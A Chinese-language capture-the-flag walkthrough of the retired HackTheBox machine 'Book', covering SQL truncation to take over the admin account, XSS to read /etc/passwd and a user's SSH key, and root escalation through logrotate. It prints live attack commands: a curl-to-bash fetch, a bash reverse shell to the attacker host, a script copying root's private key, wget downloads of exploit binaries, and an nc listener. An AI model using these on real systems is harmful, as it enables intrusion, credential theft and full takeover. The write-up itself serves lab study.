HTB-靶机-Book

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.176

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

信息枚举收集
https://github.com/codingo/Reconnoitre 跟autorecon类似
autorecon 10.10.10.176 -o ./Book-autorecon

sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.176
或者

sudo masscan -p1-65535,U:1-65535 10.10.10.176 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
' ',' | sed 's/,$//')
sudo nmap -Pn -sV -sC -p$ports 10.10.10.176

就开放2个端口,我们直接访问80端口

注册一个普通用户cntf@qq.com 密码是cntf 登录进去后发现有个邮箱admin@book.htb

尝试使用admin账户再次注册,发现显示已经注册了再回头看看访问页面的网页源码

function validateForm() {
  var x = document.forms["myForm"]["name"].value;
  var y = document.forms["myForm"]["email"].value;
  if (x == "") {
    alert("Please fill name field. Should not be more than 10 characters");
    return false;
  }
  if (y == "") {
    alert("Please fill email field. Should not be more than 20 characters");
    return false;
  }
}

得知用户名和密码在前端js验证,要求name不超过10个字符,email不超过20个字符,通过测试验证得知目标靶机存在管理员用户admin,可以通过sql truncation 方式直接覆盖管理员密码登录此管理员账户,下面具体构造的请求包信息,相关资料参考:
https://resources.infosecinstitute.com/topic/sql-truncation-attack/

 具体的请求代码

POST http://10.10.10.176/index.php HTTP/1.1
Host: 10.10.10.176
Content-Length: 131
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.10.176
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.41
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.10.176/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=7jrb2lpgs8i98e7v084qoinj75
Connection: close

name=admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20cntf&email=admin%40book.htb%20%20%20%20%20%20cntf@qq.com&password=adminadmin

上传成功之后会重置目标靶机的admin账户的密码为adminadmin 登录的邮箱是admin@book.htb

看到上面的pdf文件,下载下来是目标靶机的账户信息,测试了一把没发现啥东西,再回头登录普通用户cntf ,登录成功之后再Collections功能模块处测试发现存在xss漏洞,直接通过xss漏洞读取目标靶机的/etc/passwd 和home下的文件内容,最终得到用户reader的私钥

用户admin账户登录的权限再次刷新页面,下载pdf文件

使用上面的私钥登录到目标靶机

ssh -i book_id_rsa reader@10.10.10.176

通过linpeas收集信息

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

curl 10.10.14.16:8000/linpeas.sh | bash

得知家目录下reader下的backups目录的access.log是可写的,然后日志轮询logrotate的功能是root权限运行,那么就可以此种方式进行提权了,参考:https://github.com/whotwagner/logrotten  再判断一下运行的进程和权限

[+] Writable log files (logrotten) (limit 100)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation
Writable: /home/reader/backups/access.log.1
Writable: /home/reader/backups/access.log

wget 10.10.14.16:8000/pspy64s && chmod +x pspy64s

确认可以通过logrotate的轮询方式进行提权,因为其使用root权限进行周期运行,具体操作步骤如下:

1.本地kali下载编译为一个二进制文件
git clone https://github.com/whotwagner/logrotten
gcc logrotten.c -o logrotten   (这里我改名为logrotate)

2.写一个反弹shell代码
#!/bin/bash
bash -c "/bin/bash -i >& /dev/tcp/10.10.14.16/8833 0>&1" &

或者上面代码直接复制root用户的私钥
#!/bin/bash
cp /root/.ssh/id_rsa /tmp/rootkey
chown reader.reader /tmp/rootkey

保存为bookshell

3.本地kali使用python3搭建简易web提供下载功能
python3 -m http.server

4.目标靶机上下载exploit文件
wget 10.10.14.16:8000/logrotate
wget 10.10.14.16:8000/bookshell
chmod +x logrotate bookshell

5.触发exploit反弹shell
./logrotate -d -p bookshell /home/reader/backups/access.log
echo cntf >> /home/reader/backups/access.log

上面执行完成会在 /etc/bash_completion.d/ 生成反弹shell代码等待logrotten执行

6.本地kali监听反弹端口
nc -lvnp 8833

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/14867051.html